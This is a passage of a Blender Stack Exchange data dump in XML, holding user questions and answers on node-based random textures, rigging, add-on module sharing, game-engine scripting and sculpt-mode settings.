  <row Id="33618" PostTypeId="2" ParentId="15076" CreationDate="2015-07-08T16:12:52.157" Score="14" Body="&lt;p&gt;While the accepted answer works, it certainly is very tedious for a large amount of objects, such as in this case, since you have to edit a lot of parameters. Thus, a better solution would be as follows:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/a0zja.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The components are fairly straight forward. The first Math node is just putting the input random value in the range from &lt;em&gt;0&lt;/em&gt; to &lt;em&gt;n&lt;/em&gt;; then the other two after it are a &lt;a href=&quot;http://en.wikipedia.org/wiki/Floor_and_ceiling_functions&quot; rel=&quot;noreferrer&quot;&gt;floor rounding&lt;/a&gt;. Then this value is used in a MixRGB node to decide which image to use - if the &lt;em&gt;Fac&lt;/em&gt; is 0, it uses the top image, otherwise it uses the bottom image (since it can only be a integer, there's never any interpolation between different images). Then, if there still are images to choose from, what you can do is subtract one from the output of the floor function and use that as the &lt;em&gt;Fac&lt;/em&gt; between the previous mix and another image. Then you can use the &lt;em&gt;Random&lt;/em&gt; input, found in &lt;em&gt;Input&gt;Object Info&gt;Random&lt;/em&gt; to get a random texture.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is fairly easy to expand this setup to allow more images:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/uQr5s.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And you can use the same process to expand it even further. Just remember to go out of the group and update the &lt;em&gt;n&lt;/em&gt; input too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a quick demonstration of how it works:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/Iv1WCDv.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/325/&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=325&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3078" LastEditorUserId="-1" LastEditDate="2017-03-14T09:14:09.993" LastActivityDate="2015-07-08T16:12:52.157" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33619" PostTypeId="2" ParentId="33610" CreationDate="2015-07-08T16:38:14.420" Score="2" Body="&lt;p&gt;I don't know which game engine you are using. But probably you could use 'shape keys'. At least in the bge that would work fine and it would be easy to set up. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;you crate different shape keys.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Than you create an animation with all the shape keys.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use logic Bricks to create a logic which controlls the animation with a property.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Than you just have to change the property and your building gets upgraded.&#xA;It also would be easy to crate a little blending animation so that the new stage doesn't just pop up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Probably I didn't describe that too good so I added a .blend to &lt;a href=&quot;https://www.dropbox.com/s/fbna6vnkec6s99w/Building.blend?dl=0&quot; rel=&quot;nofollow noreferrer&quot;&gt;Download&lt;/a&gt; where you can see what i mean. Just start the bge with &lt;kbd&gt;p&lt;/kbd&gt; and use &lt;kbd&gt;w&lt;/kbd&gt; and  &lt;kbd&gt;s&lt;/kbd&gt; to transform the building.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I see that this method doesnt serve the job very well for a 2D java game.&#xA;Another method would be to use the 'restrict Rendering' Button in the Outliner.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The workflow would be:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create the Building...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Xs0gu.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Than you mark everything which should be visible in the first stage. Go to frame 1 in the 'TimeLine' an Press &lt;kbd&gt;i&lt;/kbd&gt; over the Camara Icon of ALL the Objects of the building.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/esKKR.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next you do the same for frame two...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/o3hLs.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The nice thing with this Method is that you now just can render an animation from Frame 1 to the Frame with the final stage (for example 5). If you configure your render output as in the picture below than you will get seperate Images of all Stages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dOFYk.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;than you will get separate pictures of all stages.&#xA;I just pressed the animation button and had all the images int the right folder and with good names.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7QvwB.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;you also can configure the names by just writing the name behing the path.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0xR0b.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hopefully this is a good method for your project.&lt;/p&gt;&#xA;" OwnerUserId="15497" LastEditorUserId="15497" LastEditDate="2015-07-08T17:25:29.870" LastActivityDate="2015-07-08T17:25:29.870" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="33620" PostTypeId="2" ParentId="33615" CreationDate="2015-07-08T16:53:09.843" Score="2" Body="&lt;p&gt;I played around with your .blend a little (good you uploaded it...). I realized that the Armature modifire got removed. I dont know how this happend.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/d4Tve.png&quot; alt=&quot;this i how the modifire should be set up for your model&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Just add the modifire again and you will be fine.&#xA;In the picture you can see the needed settings.&lt;/p&gt;&#xA;&lt;p&gt;I also realized that your armature is scaled extremely big. preess &lt;kbd&gt;alt&lt;/kbd&gt; + &lt;kbd&gt;s&lt;/kbd&gt; to reset the scale if this size wasn't intended.&lt;/p&gt;&#xA;&lt;p&gt;By the way you can delete all the annoying meshes in the last layer. they arn't needed anymore.&lt;/p&gt;&#xA;" OwnerUserId="15497" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-07-08T16:53:09.843" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="33621" PostTypeId="2" ParentId="33324" CreationDate="2015-07-08T17:24:37.740" Score="0" Body="&lt;p&gt;Would you be able to achieve your effect by making the material of the tube have a texture that affects an emission shader inside the material?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/uyA1d.png&quot; alt=&quot;screenshot of material with texture-controlled emission shader&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="660" LastActivityDate="2015-07-08T17:24:37.740" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="33622" PostTypeId="2" ParentId="33603" CreationDate="2015-07-08T17:43:22.777" Score="19" Body="&lt;p&gt;A more detailed example of the technique zeffi outlined is illustrated by the following example from &lt;a href=&quot;http://web.purplefrog.com/~thoth/blender/python-cookbook/import-python.html&quot; rel=&quot;noreferrer&quot;&gt;http://web.purplefrog.com/~thoth/blender/python-cookbook/import-python.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import sys&#xA;import os&#xA;&#xA;dir = os.path.dirname(bpy.data.filepath)&#xA;if not dir in sys.path:&#xA;    sys.path.append(dir )&#xA;    #print(sys.path)&#xA;&#xA;import cityFunctions&#xA;&#xA;# this next part forces a reload in case you edit the source after you first start the blender session&#xA;import imp&#xA;imp.reload(cityFunctions)&#xA;&#xA;# this is optional and allows you to call the functions without specifying the package name&#xA;from cityFunctions import *&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="660" LastActivityDate="2015-07-08T17:43:22.777" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="33623" PostTypeId="2" ParentId="33610" CreationDate="2015-07-08T17:45:50.097" Score="0" Body="&lt;p&gt;You are using the Blender game engine to achieve what should be far easier to achieve by simply animating the visibility and or renderability of objects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And since this has been answered (with multiple good answers) on Stack Overflow before I'm just going to link to the other question/thread:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://stackoverflow.com/questions/8844389/how-to-make-an-object-invisible-at-a-perticular-keyframe-without-moving-it-in-bl&quot;&gt;How to make an object invisible at a particular key-frame without moving it in Blender (2.59)?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15164" LastEditorUserId="32220" LastEditDate="2019-06-02T21:04:25.450" LastActivityDate="2019-06-02T21:04:25.450" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="33624" PostTypeId="1" AcceptedAnswerId="33627" CreationDate="2015-07-08T18:06:41.557" Score="5" ViewCount="1317" Body="&lt;p&gt;As you can see I made ChildObject (sphere) a child of ParentObject (arrow), and in object data of the ParentObject I set Duplication/Verts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's looking ok to me, but I would like to edit one of &quot;duplicated&quot; spheres. I can not do this right now, because as far as I know I can edit only the ChildObject which will effect all other duplicated spheres, and I don't want that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;How to apply duplication?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And also how can I render only duplicated spheres? In current situation I have to render ChildObject in order to render duplitates of ChildObject, but I don't want to render that one out of order sphere, I just want spheres in shape of the arrow...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please Help!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RPnmp.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="9548" LastActivityDate="2015-07-08T19:01:41.177" Title="How to apply &quot;duplicated&quot; child object?" Tags="&lt;modifiers&gt;&lt;objects&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ClosedDate="2015-07-08T19:25:55.207" ContentLicense="CC BY-SA 3.0" />
  <row Id="33625" PostTypeId="1" AcceptedAnswerId="33628" CreationDate="2015-07-08T18:23:25.150" Score="4" ViewCount="2828" Body="&lt;p&gt;I've found a number of how-tos for solving video but I'm just looking to put an element in a photo and can't seem to find a how-to for that.  Is it possible in blender to do a camera solve with a still image?  Thanks.&lt;/p&gt;&#xA;" OwnerUserId="15501" LastActivityDate="2019-05-24T19:14:32.973" Title="still frame camera solve" Tags="&lt;tracking&gt;" AnswerCount="1" CommentCount="5" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33626" PostTypeId="1" CreationDate="2015-07-08T19:00:51.747" Score="0" ViewCount="113" Body="&lt;p&gt;Well, I think I just did something hella awesome.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Remember that question about the lightning that got closed, as well as the sudden closing? (see &lt;a href=&quot;https://blender.stackexchange.com/questions/33418/where-are-the-laplacian-lightning-settings-once-the-addon-has-been-installed&quot;&gt;Where are the Laplacian Lightning settings once the addon has been installed?&lt;/a&gt;, &lt;a href=&quot;https://blender.stackexchange.com/questions/33464/blender-closes-when-using-the-scroll-wheel&quot;&gt;Blender closes when using the scroll wheel&lt;/a&gt;, &lt;a href=&quot;https://blender.stackexchange.com/questions/33262/are-particle-emitters-a-good-starting-point-for-creating-lightning&quot;&gt;https://blender.stackexchange.com/questions/33262/are-particle-emitters-a-good-starting-point-for-creating-lightning&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Well, Laplacian Lightning didn't work out one bit. Whenever I tried to use the scroll wheel on the mouse, Blender suddenly closed. I'll have to find another way... and I think I'm onto something.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I present to you, the nova:&lt;img src=&quot;https://i.stack.imgur.com/ZEX0n.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/D5PLt.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/bODjp.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;This was done solely by assigning a particle emmission system using Boids physics to have metaball particles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's not the snazziest, but it's pretty darn cool. However, it has given me an idea: what if I had the boids particles move in (relatively) as straight line?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to do that?&lt;/p&gt;&#xA;" OwnerUserId="13814" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:41.900" LastActivityDate="2015-07-08T19:00:51.747" Title="Boids Aerial March" Tags="&lt;animation&gt;&lt;modifiers&gt;&lt;particles&gt;" AnswerCount="0" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33627" PostTypeId="2" ParentId="33624" CreationDate="2015-07-08T19:01:41.177" Score="6" Body="&lt;p&gt;Use the make duplicates real function &lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;Shift&lt;/kbd&gt;-&lt;kbd&gt;A&lt;/kbd&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/AoAEZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2015-07-08T19:01:41.177" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33628" PostTypeId="2" ParentId="33625" CreationDate="2015-07-08T19:27:37.093" Score="4" Body="&lt;p&gt;There is an addon called &lt;strong&gt;BLAM: Camera Calibration Toolkit&lt;/strong&gt; it can be used to match geometry to still images.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It uses the grease pencil to determine the perspective and focal length, and has tools for geometry reconstruction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;see &lt;a href=&quot;http://stuffmatic.com/blam-blender-camera-calibration-toolkit/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://stuffmatic.com/blam-blender-camera-calibration-toolkit/&lt;/a&gt;&#xA;It can be downloaded here: &lt;a href=&quot;http://stuffmatic.github.io/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://stuffmatic.github.io/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt; Blam is no longer mantained and has been replaced by fspy:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://fspy.io/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://fspy.io/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a detailed post on how to use blam and Fspy read: &lt;strong&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/102697/how-can-i-recreate-geometry-using-a-photograph&quot;&gt;How can I recreate geometry using a photograph?&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2019-05-24T19:14:32.973" LastActivityDate="2019-05-24T19:14:32.973" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33629" PostTypeId="2" ParentId="33615" CreationDate="2015-07-08T20:21:12.583" Score="0" Body="&lt;p&gt;It seems that your rig can be saved. In the outliner select the objects within the red box one after another and (re)add an armature modifier to each as shown below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JMoag.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In case you aren't awere of make sure that that you configure IK or FK correctly here is an example for FK.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/A1ydf.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2015-07-08T20:21:12.583" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33631" PostTypeId="1" AcceptedAnswerId="33634" CreationDate="2015-07-08T22:10:24.900" Score="5" ViewCount="194" Body="&lt;p&gt;I have the following situation. I have a class (let's call it GeometryCalculator) with many functions which I would like to reuse between a few addons. How can I do it in a way that the GeometryCalculator is a part of each addon. If a user has 5 addons installed and then he uninstalls any of them the rest of addons can still use this common class. Should all addons have a copy of the GeometryCalculator class in their folder? Any ideas how to do it are welcome. Are there any guidelines how this should be tackled? Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="1316" LastActivityDate="2015-07-22T21:27:10.550" Title="How can I reuse a class between a few addons" Tags="&lt;python&gt;&lt;add-on&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33632" PostTypeId="1" CreationDate="2015-07-08T22:12:19.047" Score="2" ViewCount="4224" Body="&lt;p&gt;I have made a giant plane and subdivided it with 100 cuts. I am extruding the surfaces to make a &quot;room&quot; if you will.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OiUaE.png&quot; alt=&quot;Blender Screen Shot&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the areas are not extruded in the same extrusion, a wall is left between the two extrusions, as you can see at the end of the green arrow. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I would like to do is take one of the &quot;squares&quot; on these said walls and delete it. Now I had tried to work around this by grabbing the wall at the top and pulling down on it but the problem with that is it is connected to the walls next to it. So when it moves they move.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Question&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Is there a way to delete one specific &quot;square&quot; from a plane or one specific side to a cube? Also, is there a way to 'unhook' or 'unbind' the objects or squares of a plan from one another when scaling or skewing?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance. &lt;/p&gt;&#xA;" OwnerUserId="15504" LastEditorUserId="15504" LastEditDate="2015-07-09T22:12:39.007" LastActivityDate="2015-07-09T22:12:39.007" Title="How to quickly separate and/or delete extra faces created by extruding?" Tags="&lt;modeling&gt;&lt;mesh&gt;" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="33633" PostTypeId="1" CreationDate="2015-07-08T22:24:26.527" Score="1" ViewCount="572" Body="&lt;p&gt;I created a pattern out of straight lines in Illustrator and afterwards saved it as a SVG file. When I then imported the SVG file into Blender some of the lines appeared as 2D and some others as 3D. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/DRzgV.png&quot; alt=&quot;curve appearing as 3D&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cfGYN.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;Afterwards when I apply bevel object to that curve which is a bezier circle in this case the 3D curve looks great but the 2D curve looks like some of the normals have flipped direction. &#xA;It still stays the same even when I try to make the curve 3D simply by clicking on 3D button.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZpB6W.png&quot; alt=&quot;Upper curve has normals with flipped directions&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could somebody tell me what is the problem here and how to solve it efficiently?&lt;/p&gt;&#xA;" OwnerUserId="8027" LastActivityDate="2015-07-09T07:37:50.860" Title="How to convert a curve from 2D to 3D" Tags="&lt;bezier-curves&gt;&lt;normals&gt;" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33634" PostTypeId="2" ParentId="33631" CreationDate="2015-07-08T22:41:58.280" Score="5" Body="&lt;p&gt;Inside your scripts folder you have &lt;code&gt;addons&lt;/code&gt; and maybe &lt;code&gt;addons_contrib&lt;/code&gt; and a &lt;code&gt;modules&lt;/code&gt; folder. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qzbwG.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The modules folder can added if it's not there and used to store files that you want to access from various add-ons. In this case I have a file which stores functions, but it could store classes (anything a .py file is used for).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Imagine the modules folder has a folder inside called 'some_name', &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ugyR7.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and some_name contains a python file called functions, &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ECnZd.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so the path is &lt;code&gt;scripts/modules/some_name/functions.py&lt;/code&gt; . To import that module in an addon you write&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;from some_name import functions&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Potentially this makes installing your add-on a little bit more involved for the average novice user, unless you write code that places the files in the modules folder automatically&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2015-07-22T21:27:10.550" LastActivityDate="2015-07-22T21:27:10.550" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="33635" PostTypeId="2" ParentId="33632" CreationDate="2015-07-08T23:09:27.483" Score="3" Body="&lt;p&gt;By now you are working with &quot;edge&quot; selection mode (2nd button on the header).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just switch to &quot;faces&quot; mode (the third), select the face you want to delete, press &lt;kbd&gt;X&lt;/kbd&gt; and choose the preferred option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try also the first button (vertex mode).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The fourth on the right lets you also select  vertex, edges or faces hidden by some other geometry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/oQqbF.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another useful function is select some faces, hit &lt;kbd&gt;P&lt;/kbd&gt;&lt;em&gt;&gt; Selection&lt;/em&gt;, then exit edit mode (&lt;kbd&gt;&amp;#8633; Tab&lt;/kbd&gt;). The selected faces will be no longer be a part of your original object: they are a brand new object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally if you hit &lt;kbd&gt;Y&lt;/kbd&gt; instead of &lt;kbd&gt;P&lt;/kbd&gt; the selection will be separated from the original mesh while remaining part of the same object.&lt;/p&gt;&#xA;" OwnerUserId="13752" LastEditorUserId="599" LastEditDate="2015-07-09T06:56:41.983" LastActivityDate="2015-07-09T06:56:41.983" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33636" PostTypeId="1" AcceptedAnswerId="34138" CreationDate="2015-07-08T23:54:30.667" Score="4" ViewCount="6004" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/x6hXd.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The wireframe on the right looks correct, but in object mode on the left, you can see that the upper and lower vertices are not connected, while the &quot;box&quot; to the right is fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried Fill and Merge Vertices, but both do not result in a correctly looking model. In wireframe mode, it looks great, but in object mode it does not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have uploaded my model here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.pasteall.org/blend/36955&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.pasteall.org/blend/36955&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anybody see what causes this weirdness?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you for the help!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is another image: It shows that the 2nd &quot;box&quot; is not correct (it has greyish faces), while the 1st and 3rd are correct.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/oOHAi.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="14968" LastEditorUserId="14968" LastEditDate="2015-07-09T12:53:54.023" LastActivityDate="2015-07-17T11:52:37.460" Title="Some edges are not shown in object wireframe mode?" Tags="&lt;mesh&gt;&lt;normals&gt;" AnswerCount="3" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33637" PostTypeId="1" AcceptedAnswerId="33740" CreationDate="2015-07-09T00:37:09.717" Score="0" ViewCount="224" Body="&lt;p&gt;Here is my code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bge&#xA;from bge import logic&#xA;&#xA;def property(controller):    &#xA;    own = controller.owner&#xA;&#xA;controllor = bge.logic.getCurrentController()&#xA;scene = bge.logic.getCurrentScene()&#xA;&#xA;target = scene.objects['Target']&#xA;ray = controllor.sensors['Ray']&#xA;&#xA;if (ray.hitObject and 'Collide' in ray.hitObject and not 'Body' in ray.hitObject):&#xA;    target.worldPosition = ray.hitPosition&#xA;elif (ray.hitObject and 'Collide' in ray.hitObject and 'Body' in ray.hitObject):&#xA;    target.worldPosition = ray.hitPosition&#xA;    own['Body_Track'] = True&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have not finished with my code, but that is what I made so far. I am trying to make different props true and false depending on what you are aiming at: an object, and enemy (, rest WIP). This is to determine what color bullethole/blood should be added. For some reason, the last line of the code won't work. I always have issues with making multiple outcomes after an &lt;em&gt;if&lt;/em&gt;. How can I fix this? Any help is appreciated. Thanks!&lt;/p&gt;&#xA;" OwnerUserId="1597" LastActivityDate="2015-07-23T10:19:23.657" Title="Properties won't change?" Tags="&lt;python&gt;&lt;game-engine&gt;&lt;logic-bricks&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33640" PostTypeId="1" CreationDate="2015-07-09T02:45:47.957" Score="1" ViewCount="1223" Body="&lt;p&gt;I have a model that I am trying to rig using rigify. The bones are placed, the rig generated, but when I try to apply as parent with automatic weights, nothing happens. No weight painting at all (see pictures) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fxR9C.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/L1KEF.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need the .Blend, I can upload.&lt;/p&gt;&#xA;" OwnerUserId="13042" LastActivityDate="2019-05-25T17:19:56.250" Title="Rigify and automatic weight painting error" Tags="&lt;rigging&gt;&lt;weight-painting&gt;" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="33641" PostTypeId="1" AcceptedAnswerId="33642" CreationDate="2015-07-09T02:54:14.080" Score="13" ViewCount="63853" Body="&lt;p&gt;I enabled Dyntopo, but Symmetrize seems to have been active already. As soon as I start stroking the mesh, it does it double.&#xA;I just don't see how to disable it.&lt;/p&gt;&#xA;" OwnerUserId="15508" LastEditorUserId="2217" LastEditDate="2015-08-09T00:33:27.563" LastActivityDate="2020-11-14T23:54:05.657" Title="How to disable Symmetrize in Sculpt Mode?" Tags="&lt;mirror&gt;&lt;sculpting&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="33642" PostTypeId="2" ParentId="33641" CreationDate="2015-07-09T02:56:52.620" Score="28" Body="&lt;p&gt;Ensure the &lt;em&gt;Mirror&lt;/em&gt; axes are all deselected:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/c76gj.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;In 2.8 these settings are in the &lt;em&gt;Brush&lt;/em&gt; dropdown:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/H2pcN.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/H2pcN.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2019-05-19T06:53:26.887" LastActivityDate="2019-05-19T06:53:26.887" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
